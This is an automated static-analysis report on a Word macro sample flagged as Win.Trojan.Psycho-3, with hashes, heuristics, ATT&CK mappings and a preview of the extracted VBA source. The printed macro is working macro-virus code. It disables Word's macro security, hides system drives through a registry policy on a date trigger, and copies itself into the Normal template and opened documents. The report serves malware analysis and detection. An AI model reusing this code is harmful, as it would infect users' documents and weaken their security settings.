Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 6b672d47091d74ad…

MALICIOUS

Office (OLE)

29.5 KB Created: 2000-08-18 21:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e8fa692b9cdbd88670e145e85cccf781 SHA-1: 9846f31cdb16a8bf0b183084f3c8a7b956fbe8e1 SHA-256: 6b672d47091d74ad352ff63150f1c11ffa07a8d3ad74f922c9f09c0bbbaa0e6f
220 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that execute upon opening the document, as indicated by the Document_Open macro and Shell() call firings. The script attempts to disable Word's macro security settings and then writes a registry file 'c:\NoD.reg' to modify the 'NoDrives' policy, likely to interfere with system functionality or analysis. The ClamAV detection name 'Win.Trojan.Psycho-3' suggests a known trojan family.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10798 bytes
SHA-256: ed3c7f54719710e13962baf1dd1dc998dc7e0c813bb2a77d6bd4f7a9bff2296a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NoDrives"
Attribute VB_Base = "1Normal.NoDrives"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
    CommandBars("Macro").Controls("Seguridad...").Enabled = False
    CommandBars("Macro").Controls("Macros...").Enabled = False
    CommandBars("Macro").Controls("Editor de visual basic").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
    If Day(Now()) >= 1 And Month(Now()) = 1 And Year(Now()) = 2000 Then
        If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDrives") = "" Then
            Open "c:\NoD.reg" For Output As #1
                Print #1, "REGEDIT4"
                Print #1, ""
                Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"
                Print #1, Chr(34) & "NoDrives" & Chr(34) & "=dword:03ffffff"
            Close #1
           Shell "Regedit.exe c:\NoD.reg", vbHide
           SendKeys "~", True
           DoEvents
           Pause = Timer + 3
           Do While Timer < Pause
           Loop
           SendKeys "~", True
           Kill "c:\NoD.reg"
        End If
    End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "NoDrives" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
    Set ToInfect = ADI1
    ADI1.Name = "NoDrives"
    DoAD = True
End If
If NTI1.Name <> "NoDrives" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
    Set ToInfect = NTI1
    NTI1.Name = "NoDrives"
    DoNT = True
End If
If DoNT = True Then
    Do While ADI1.CodeModule.Lines(1, 1) = ""
       ADI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
        ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
        BGN = BGN + 1
    Loop
End If
If DoAD = True Then
    Do While NTI1.CodeModule.Lines(1, 1) = ""
        NTI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
        ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
        BGN = BGN + 1
    Loop
End If
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/62fa97dea3d84199b03921ba8e09ff7c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/NoDrives - 5110 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #3:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Seguridad..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #4:
' 	LitVarSpecial (False)
' 	LitStr 0x0009 "Macros..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x000
... (truncated)

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